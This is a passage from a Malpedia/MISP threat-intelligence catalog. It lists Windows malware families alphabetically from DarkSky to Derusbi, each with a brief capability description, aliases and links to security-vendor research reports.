https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/
https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/
https://securityintelligence.com/posts/darkside-oil-pipeline-ransomware-attack/
https://www.repubblica.it/economia/finanza/2021/04/28/news/un_sospetto_attacco_telematico_blocca_le_filiali_della_bcc_di_roma-298485827/
https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound
https://www.mandiant.com/resources/shining-a-light-on-darkside-ransomware-operations
https://cybergeeks.tech/a-step-by-step-analysis-of-a-new-version-of-darkside-ransomware/
https://www.digitalshadows.com/blog-and-research/darkside-the-new-ransomware-group-behind-highly-targeted-attacks/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-ransomware-ttps
https://www.metabaseq.com/recursos/inside-darkside-the-ransomware-that-attacked-colonial-pipeline#
https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/
https://www.bloomberg.com/news/articles/2021-05-13/colonial-pipeline-paid-hackers-nearly-5-million-in-ransom

Darksky

DarkSky is a botnet that is capable of downloading malware, conducting a number of network and application-layer distributed denial-of-service (DDoS) attacks, and detecting and evading security controls, such as sandboxes and virtual machines. It is advertised for sale on the dark web for $20. Much of the malware that DarkSky has available to download onto targeted systems is associated with cryptocurrency-mining activity. The DDoS attacks that DarkSky can perform include DNS amplification attacks, TCP (SYN) flood, UDP flood, and HTTP flood. The botnet can also perform a check to determine whether or not the DDoS attack succeeded and turn infected systems into a SOCKS/HTTP proxy to route traffic to a remote server.

The tag is: *misp-galaxy:malpedia="Darksky"*

Darksky is also known as:

Table 3639. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darksky
http://telegra.ph/Analiz-botneta-DarkSky-12-30
https://blog.radware.com/security/2018/02/darksky-botnet/

DarkStRat

The tag is: *misp-galaxy:malpedia="DarkStRat"*

DarkStRat is also known as:

Table 3640. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkstrat
https://www.welivesecurity.com/2014/11/12/korplug-military-targeted-attacks-afghanistan-tajikistan/

DarkTequila

Dark Tequila is a complex malicious campaign targeting Mexican users, with the primary purpose of stealing financial information, as well as login credentials to popular websites that range from code versioning repositories to public file storage accounts and domain registrars.

The tag is: *misp-galaxy:malpedia="DarkTequila"*

DarkTequila is also known as:

Table 3641. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darktequila
https://securelist.com/dark-tequila-anejo/87528/

DarkTortilla

DarkTortilla is a complex and highly configurable .NET-based crypter that has possibly been active since at least August 2015. It typically delivers popular information stealers and remote access trojans (RATs) such as AgentTesla, AsyncRat, NanoCore, and RedLine. While it appears to primarily deliver commodity malware, Secureworks® Counter Threat Unit™ (CTU) researchers identified DarkTortilla samples delivering targeted payloads such as Cobalt Strike and Metasploit. It can also deliver "addon packages" such as additional malicious payloads, benign decoy documents, and executables. It features robust anti-analysis and anti-tamper controls that can make detection, analysis, and eradication challenging.

From January 2021 through May 2022, an average of 93 unique DarkTortilla samples per week were uploaded to the VirusTotal analysis service. Code similarities suggest possible links between DarkTortilla and other malware: a crypter operated by the RATs Crew threat group, which was active between 2008 and 2012, and the Gameloader malware that emerged in 2021.

The tag is: *misp-galaxy:malpedia="DarkTortilla"*

DarkTortilla is also known as:

Table 3642. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darktortilla
https://www.secureworks.com/research/darktortilla-malware-analysis

Darktrack RAT

According to PCrisk, DarkTrack is a malicious program classified as a Remote Access Trojan (RAT). This type of malware enables remote access and control over an infected device. The level of control these programs have varies, however, some can allow user-level manipulation of the affected machine.

The functionalities of RATs likewise varies and so does the scope of potential misuse. DarkTrack has a broad range of functions/capabilities, which make this Trojan a highly-dangerous piece of software.

The tag is: *misp-galaxy:malpedia="Darktrack RAT"*

Darktrack RAT is also known as:

Table 3643. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darktrack_rat
https://ti.qianxin.com/uploads/2020/09/17/69da886eecc7087e9dac2d3ea4c66ba8.pdf
https://www.tgsoft.it/files/report/download.asp?id=7481257469
https://bi.zone/expertise/blog/shpiony-sticky-werewolf-atakuyut-gosudarstvennye-organizatsii-rossii-i-belarusi/
https://www.facebook.com/darktrackrat/
https://cracked.to/Thread-Release-RAT-Dark-track-alien-4-1
http://news.softpedia.com/news/free-darktrack-rat-has-the-potential-of-being-the-best-rat-on-the-market-508179.shtml
https://nioguard.blogspot.de/2017/05/targeted-attack-against-ukrainian.html

DarkVision RAT

DarkVision_RAT is a highly customizable Remote Access Trojan (RAT) first identified in 2020. Written in C/C++ and assembler, it has gained popularity due to its low cost and broad range of functionalities, including keylogging, screenshot capture, file manipulation, process injection, remote code execution, and password theft. In July 2024, a malware campaign was observed distributing DarkVision_RAT using PureCrypter as a loader. This RAT communicates with its command and control server through a custom network protocol via sockets. It also employs evasion and privilege escalation techniques such as DLL hijacking, self-elevation, and process injection. DarkVision_RAT supports a wide array of commands and plugins, enabling additional capabilities like keylogging, remote access, password theft, audio recording, and screenshot capture.

The tag is: *misp-galaxy:malpedia="DarkVision RAT"*

DarkVision RAT is also known as:

Table 3644. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvision_rat
https://www.zscaler.com/blogs/security-research/technical-analysis-darkvision-rat

DarkVNC

According to Enigmasoft, DarkVNC malware is a hacking tool that is available for purchase online. it is can be used as a Virtual Network Computing service, which means that the attackers can get full access to the targeted system via this malware. However, unlike a genuine Virtual Network Computing utility, the DarkVNC threat operates in the background silently. Therefore, it is highly likely that the victims may not notice that their systems have been compromised.

The tag is: *misp-galaxy:malpedia="DarkVNC"*

DarkVNC is also known as:

Table 3645. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc
https://isc.sans.edu/diary/rss/28934
https://isc.sans.edu/diary/IcedID+%28Bokbot%29+with+Dark+VNC+and+Cobalt+Strike/28884
https://reaqta.com/2017/11/short-journey-darkvnc/

Daserf

The tag is: *misp-galaxy:malpedia="Daserf"*

Daserf is also known as:

- Muirim
- Nioupale

Table 3646. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.daserf
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses
https://www.secureworks.com/research/threat-profiles/bronze-butler
https://researchcenter.paloaltonetworks.com/2017/07/unit42-tick-group-continues-attacks/
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/

DataExfiltrator

The tag is: *misp-galaxy:malpedia="DataExfiltrator"*

DataExfiltrator is also known as:

- FileSender

Table 3647. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.data_exfiltrator
https://blog.reversinglabs.com/blog/data-exfiltrator

Datper

The tag is: *misp-galaxy:malpedia="Datper"*

Datper is also known as:

Table 3648. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.datper
https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf
https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf
https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html

https://blog.trendmicro.com/trendlabs-security-intelligence/operation-endtrade-finding-multi-stage-backdoors-that-tick/
http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html
https://www.macnica.net/mpressioncss/feature_05.html/
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/

Daxin

Symantec describes this as a malware written as Windows kernel driver, used by China-linked threat actors. The malware has a custom TCP/IP stack and is capable of hijacking connections.

The tag is: *misp-galaxy:malpedia="Daxin"*

Daxin is also known as:

- DELIMEAT

Table 3649. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.daxin
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-malware-espionage-analysis
https://www.nzz.ch/technologie/china-soll-mit-praezedenzloser-malware-regierungen-ausspioniert-haben-ld.1672292
https://www.reuters.com/technology/new-chinese-hacking-tool-found-spurring-us-warning-allies-2022-02-28/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage
https://twitter.com/M_haggis/status/1498399791276912640
https://gist.github.com/usualsuspect/839fbc54e0d76bb2626329cd94274cd6
https://www.mandiant.com/resources/blog/chinese-espionage-tactics
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage-analysis
https://teamt5.org/tw/posts/backdoor-of-driver-analysis-Daxin/
https://www.bleepingcomputer.com/news/security/chinese-cyberspies-target-govts-with-their-most-advanced-backdoor/

DBatLoader

This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.

The tag is: *misp-galaxy:malpedia="DBatLoader"*

DBatLoader is also known as:

- ModiLoader
- NatsoLoader

Table 3650. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader
https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat
https://news.sophos.com/en-us/2020/09/24/email-delivered-modi-rat-attack-pastes-powershell-commands
https://securityintelligence.com/posts/email-campaigns-leverage-updated-dbatloader-deliver-rats-stealers/
https://malcat.fr/blog/exploit-steganography-and-delphi-unpacking-dbatloader/
https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html
https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4
https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896
https://asec.ahnlab.com/en/88025/
https://www.zscaler.com/blogs/security-research/dbatloader-actively-distributing-malwares-targeting-european-businesses
https://zero2auto.com/2020/08/20/dbatloader-modiloader-first-stage/
https://symantec-enterprise-blogs.security.com/threat-intelligence/malware-ai-llm
https://blog.vincss.net/re016-malware-analysis-modiloader/
https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/

DBoxAgent

This malware uses DropBox as C&C channel.

The tag is: *misp-galaxy:malpedia="DBoxAgent"*

DBoxAgent is also known as:

Table 3651. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dboxagent

https://www.malwarebytes.com/blog/threat-intelligence/2022/winnti-apt-group-docks-in-sri-lanka-for-new-campaign-final.pdf

DcDcrypt

Ransomware written in .NET.

The tag is: *misp-galaxy:malpedia="DcDcrypt"*

DcDcrypt is also known as:

Table 3652. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dcdcrypt
https://labs.k7computing.com/index.php/dcdcrypt-ransomware-decryptor/

DCRat

DCRat is a typical RAT that has been around since at least June 2019.

The tag is: *misp-galaxy:malpedia="DCRat"*

DCRat is also known as:

- DarkCrystal RAT

Table 3653. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat
https://securelist.com/new-wave-of-attacks-with-dcrat-backdoor-distributed-by-maas/115850/
https://forensicitguy.github.io/snip3-crypter-dcrat-vbs/
https://www.zscaler.com/blogs/security-research/snip3-crypter-reveals-new-ttps-over-time
https://www.infinitumit.com.tr/dcrat-malware-analiz-raporu/
https://www.zscaler.com/blogs/security-research/freecryptoscam-new-cryptocurrency-scam-leads-installation-backdoors-and
https://redcanary.com/blog/threat-detection/network-traffic-tunneling/
https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf
https://www.fireeye.com/blog/threat-research/2020/05/analyzing-dark-crystal-rat-backdoor.html
https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains

https://www.recordedfuture.com/research/tag-144s-persistent-grip-on-south-american-organizations

https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf

https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html

https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war

https://cert.gov.ua/article/160530

https://www.youtube.com/watch?v=ElqmQDySy48

https://kienmanowar.wordpress.com/2023/04/08/quicknote-uncovering-suspected-malware-distributed-by-individuals-from-vietnam/

https://research.checkpoint.com/2024/foxit-pdf-flawed-design-exploitation/

https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/

https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus

https://embeeresearch.io/dcrat-manual-de-obfuscation/

https://blog.eclecticiq.com/sandworm-apt-targets-ukrainian-users-with-trojanized-microsoft-kms-activation-tools-in-cyber-espionage-campaigns

https://cert.gov.ua/article/6279561

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf

https://tccontre.blogspot.com/2019/10/dcrat-malware-evades-sandbox-that-use.html

https://blogs.infoblox.com/cyber-threat-intelligence/cyber-campaign-briefs/malspam-campaign-delivers-dark-crystal-rat-dcrat/

https://socradar.io/acuity-federal-breach-okta-leak-dcrat-exploit/

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

https://embee-research.ghost.io/dcrat-manual-de-obfuscation/

https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/

https://muha2xmad.github.io/malware-analysis/dcrat/

https://go.recordedfuture.com/hubfs/reports/cta-2022-0919.pdf

https://github.com/jeFF0Falltrades/rat_king_parser

https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf

https://cyber.wtf/2025/02/12/unpacking-pyarmor-v8-scripts/

https://community.riskiq.com/article/50c77491

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/
https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_1_9_takeda_furukawa_en.pdf
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf
https://axmahr.github.io/posts/asyncrat-detection/
https://www.ibm.com/think/x-force/dcrat-presence-growing-in-latin-america
https://securityonline.info/sandworm-apt-exploits-trojanized-kms-tools-to-target-ukrainian-users-in-cyber-espionage-campaign/
https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf
https://cert.gov.ua/article/405538

DCSrv

A ransomware as used by MosesStaff, built around the DiskCryptor tool.

The tag is: *misp-galaxy:malpedia="DCSrv"*

DCSrv is also known as:

- DCrSrv

Table 3654. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dcsrv
https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/

DDKeylogger

The tag is: *misp-galaxy:malpedia="DDKeylogger"*

DDKeylogger is also known as:

Table 3655. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkeylogger
https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators

DDKONG

The tag is: *misp-galaxy:malpedia="DDKONG"*

DDKONG is also known as:

Table 3656. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkong
https://www.secureworks.com/research/threat-profiles/bronze-overbrook
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/
https://unit42.paloaltonetworks.com/atoms/rancortaurus/
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/

DEADWOOD

The tag is: *misp-galaxy:malpedia="DEADWOOD"*

DEADWOOD is also known as:

- Agrius
- DETBOSIT
- SQLShred

Table 3657. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deadwood
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://www.welivesecurity.com/2022/12/07/fantasy-new-agrius-wiper-supply-chain-attack/
https://www.sentinelone.com/wp-content/uploads/2021/05/SentinelLabs_From-Wiper-to-Ransomware-The-Evolution-of-Agrius.pdf
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/

DealPly

The tag is: *misp-galaxy:malpedia="DealPly"*

DealPly is also known as:

Table 3658. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dealply
https://kienmanowar.wordpress.com/2021/05/11/quick-analysis-note-about-dealply-adware/
https://www.catonetworks.com/blog/the-dga-algorithm-used-by-dealply-and-bujo/
https://securelist.com/threat-in-your-browser-extensions/107181

dearcry

According to PCrisk, DearCry ransomware has been observed infecting systems via ProxyLogon vulnerabilities of Microsoft Exchange servers - mail and calendaring servers developed by Microsoft. While a patch has been released addressing these vulnerabilities, thousands of Microsoft Exchange servers remained unpatched at the time of research.

The tag is: *misp-galaxy:malpedia="dearcry"*

dearcry is also known as:

- DoejoCrypt

Table 3659. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dearcry
https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities
https://www.youtube.com/watch?v=qmCjtigVVR0
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.youtube.com/watch?v=MRTdGUy1lfw
https://www.youtube.com/watch?v=Hhx9Q2i7zGo
https://lifars.com/wp-content/uploads/2021/04/DearCry_Ransomware.pdf
https://news.sophos.com/en-us/2021/03/15/dearcry-ransomware-attacks-exploit-exchange-server-vulnerabilities/
https://www.youtube.com/watch?v=6lSfxsrs61s&t=5s
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-102b

DeathRansom

Also known as Wacatac ransomware due to its .wctc extension.

The tag is: *misp-galaxy:malpedia="DeathRansom"*

DeathRansom is also known as:

- deathransom
- wacatac

Table 3660. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deathransom
https://dissectingmalwa.re/quick-and-painless-reversing-deathransom-wacatac.html
https://www.fortinet.com/blog/threat-research/death-ransom-new-strain-ransomware.html
https://blog.cyber5w.com/the-most-known-unpacking-technique
https://www.fortinet.com/blog/threat-research/death-ransom-attribution.html
https://id-ransomware.blogspot.com/2019/11/wacatac-ransomware.html
https://twitter.com/Amigo_A_/status/1196898012645220354
https://asec.ahnlab.com/1269
https://github.com/albertzsigovits/malware-notes/blob/master/DeathRansom.md

DECAF

Ransomware written in Go.

The tag is: *misp-galaxy:malpedia="DECAF"*

DECAF is also known as:

Table 3661. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.decaf
https://blog.morphisec.com/decaf-ransomware-a-new-golang-threat-makes-its-appearance

Decebal

The tag is: *misp-galaxy:malpedia="Decebal"*

Decebal is also known as:

Table 3662. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.decebal
https://www.fireeye.com/blog/threat-research/2014/10/data-theft-in-aisle-9-a-fireeye-look-at-threats-to-retailers.html
https://www.wired.com/wp-content/uploads/2014/09/wp-pos-ram-scraper-malware.pdf

DeepCreep

The tag is: *misp-galaxy:malpedia="DeepCreep"*

DeepCreep is also known as:

Table 3663. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deepcreep
https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/
https://www.bleepingcomputer.com/news/security/hacking-group-polonium-uses-creepy-malware-against-israel/

DEEPDATA

According to Volexity, DEEPDATA is a modular post-exploitation tool for Windows that facilitates collection of sensitive information from a compromised system. This tool must be run from the command line of a system by an attacker.

The tag is: *misp-galaxy:malpedia="DEEPDATA"*

DEEPDATA is also known as:

Table 3664. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deepdata
https://blogs.blackberry.com/en/2024/11/lightspy-apt41-deploys-advanced-deepdata-framework-in-targeted-southern-asia-espionage-campaign
https://www.volexity.com/blog/2024/11/15/brazenbamboo-weaponizes-forticlient-vulnerability-to-steal-vpn-credentials-via-deepdata/

DEEPPOST

According to Volexity, DEEPPOST is a post-exploitation data exfiltration tool used to send files to a remote system.

The tag is: *misp-galaxy:malpedia="DEEPPOST"*

DEEPPOST is also known as:

Table 3665. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deeppost

https://www.volexity.com/blog/2024/11/15/brazenbamboo-weaponizes-forticlient-vulnerability-to-steal-vpn-credentials-via-deepdata/

DeepRAT

The tag is: *misp-galaxy:malpedia="DeepRAT"*

DeepRAT is also known as:

Table 3666. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deep_rat
https://twitter.com/benkow_/status/1415797114794397701

Defray

Defray is ransomware that appeared in 2017, and is targeted ransomware, mainly on the healthcare vertical.

The distribution of Defray has several notable characteristics: According to Proofpoint: " Defray is currently being spread via Microsoft Word document attachments in email The campaigns are as small as several messages each The lures are custom crafted to appeal to the intended set of potential victims The recipients are individuals or distribution lists, e.g., group@ and websupport@ Geographic targeting is in the UK and US Vertical targeting varies by campaign and is narrow and selective "

The tag is: *misp-galaxy:malpedia="Defray"*

Defray is also known as:

- Glushkov

Table 3667. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.defray
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/2/
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3
https://www.bleepingcomputer.com/news/security/government-software-provider-tyler-technologies-hit-by-ransomware/
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4

https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/
https://threatvector.cylance.com/en_us/home/threat-spotlight-defray-ransomware-hits-healthcare-and-education.html
https://www.proofpoint.com/us/blog/threat-insight/new-defray-ransomware-targets-education-and-healthcare-verticals
https://www.proofpoint.com/us/threat-insight/post/defray-new-ransomware-targeting-education-and-healthcare-verticals
https://www.secureworks.com/research/threat-profiles/gold-dupont

Deimos

Described by Elastic as being associated with win.jupyter, and being used in the context of initial access, persistence, and C&C capabilities.

The tag is: *misp-galaxy:malpedia="Deimos"*

Deimos is also known as:

Table 3668. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deimos
https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f
https://www.elastic.co/blog/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant

DeimosC2

Trend Micro describes DeimosC2 as an open-source C&C framework that was released in June 2020. It is a fully-functional framework that allows for multiple attackers to access, create payloads for, and interact with victim computers. As a post-exploitation C&C framework, DeimosC2 will generate the payloads that need to be manually executed on computer servers that have been compromised through other means such as social engineering, exploitation, or brute-force attacks. Once it is deployed, the threat actors will gain the same access to the systems as the user account that the payload was executed as, either as an administrator or a regular user. Note that DeimosC2 does not perform active or privilege escalation of any kind.

The tag is: *misp-galaxy:malpedia="DeimosC2"*

DeimosC2 is also known as:

Table 3669. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.deimos_c2
https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Censys%20Data.pdf
https://censys.com/russian-ransomware-c2-network-discovered-in-censys-data/
https://www.trendmicro.com/en_us/research/22/k/deimosc2-what-soc-analysts-and-incident-responders-need-to-know.html

DeliveryCheck

According to CERT-UA, this malware makes use of XSLT (Extensible Stylesheet Language Transformations) and COM-hijacking. Its specificity is the presence of a server part, which is usually installed on compromised MS Exchange servers in the form of a MOF (Managed Object Format) file using the Desired State Configuration (DCS) PowerShell tool), effectively turning a legitimate server into a malware control center.

The tag is: *misp-galaxy:malpedia="DeliveryCheck"*

DeliveryCheck is also known as:

- CAPIBAR
- GAMEDAY

Table 3670. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.delivery_check
https://cert.gov.ua/article/5213167
https://twitter.com/msftsecintel/status/1681695399084539908

Delta(Alfa,Bravo, ...)

The tag is: *misp-galaxy:malpedia="Delta(Alfa,Bravo, ...)"*

Delta(Alfa,Bravo, ...) is also known as:

Table 3671. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deltas

DeltaStealer

Rust-based infostealer.

The tag is: *misp-galaxy:malpedia="DeltaStealer"*

DeltaStealer is also known as:

Table 3672. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deltastealer
https://www.trendmicro.com/en_us/research/23/e/rust-based-info-stealers-abuse-github-codespaces.html

Dented

Dented is a banking bot written in C. It supports IE, Firefox, Chrome, Opera and Edge and comes with a simple POS grabber. Due to its modularity, reverse socks 5, tor and vnc can be added.

The tag is: *misp-galaxy:malpedia="Dented"*

Dented is also known as:

Table 3673. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dented

Deprimon

According to ESET Research, DePriMon is a malicious downloader, with several stages and using many non-traditional techniques. To achieve persistence, the malware registers a new local port monitor – a trick falling under the “Port Monitors” technique in the MITRE ATT&CK knowledgebase. For that, the malware uses the “Windows Default Print Monitor” name; that’s why we have named it DePriMon. Due to its complexity and modular architecture, researcher believe it to be a framework.

DePriMon has been active since at least March 2017. DePriMon was detected in a private company, based in Central Europe, and at dozens of computers in the Middle East.

The tag is: *misp-galaxy:malpedia="Deprimon"*

Deprimon is also known as:

Table 3674. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deprimon
https://www.welivesecurity.com/2019/11/21/deprimon-default-print-monitor-malicious-downloader/

Deputy

According to IBM X-Force, this is a loader component for Sheriff.

The tag is: *misp-galaxy:malpedia="Deputy"*

Deputy is also known as:

Table 3675. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deputy
https://www.ibm.com/think/news/x-force-discovers-new-sheriff-backdoor-target-ukraine

DeputyDog

The tag is: *misp-galaxy:malpedia="DeputyDog"*

DeputyDog is also known as:

Table 3676. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deputydog
https://web.archive.org/web/20130924130243/https://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html
https://www.secureworks.com/research/threat-profiles/bronze-keystone
https://www.fireeye.com/blog/threat-research/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html

DeriaLock

The tag is: *misp-galaxy:malpedia="DeriaLock"*

DeriaLock is also known as:

Table 3677. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deria_lock
https://twitter.com/struppigel/status/812601286088597505

DeroHE

DeroHE is a ransomware that was spread to users after IObit, a Windows utility developer, was hacked. The malware is delivered a DLL that is sideloaded by a legitimate, signed IObit License

Manager application.

The tag is: *misp-galaxy:malpedia="DeroHE"*

DeroHE is also known as:

Table 3678. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.derohe
https://www.bleepingcomputer.com/news/security/iobit-forums-hacked-to-spread-ransomware-to-its-members/

Derusbi (Windows)

```
A DLL backdoor also reported publicly as Derusbi, capable of obtaining directory,
file, and drive listing; creating a reverse shell; performing screen captures;
recording video and audio; listing, terminating, and creating processes; enumerating,
starting, and deleting registry keys and values; logging keystrokes, returning
usernames and passwords from protected storage; and renaming, deleting, copying,
moving, reading, and writing to files.
```

The tag is: *misp-galaxy:malpedia="Derusbi (Windows)"*

Derusbi (Windows) is also known as:

- PHOTO

Table 3679. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.derusbi
https://attack.mitre.org/groups/G0001/
https://web.archive.org/web/20150420064803/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/
https://www.virusbulletin.com/uploads/pdf/conference_slides/2015/Pun-etal-VB2015.pdf
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://web.archive.org/web/20180310053107/https://www.rsaconference.com/writable/presentations/file_upload/hta-w02-dissecting-derusbi.pdf
http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf
https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html

https://www.secureworks.com/research/threat-profiles/bronze-firestone
https://cybergeeks.tech/analyzing-apt19-malware-using-a-step-by-step-method/
https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf
https://www.youtube.com/watch?v=YCwyc6SctYs
https://attack.mitre.org/groups/G0096
https://www.secureworks.com/research/threat-profiles/bronze-keystone
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
https://web.archive.org/web/20151216071054/http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family
https://www.secureworks.com/research/threat-profiles/bronze-mohawk
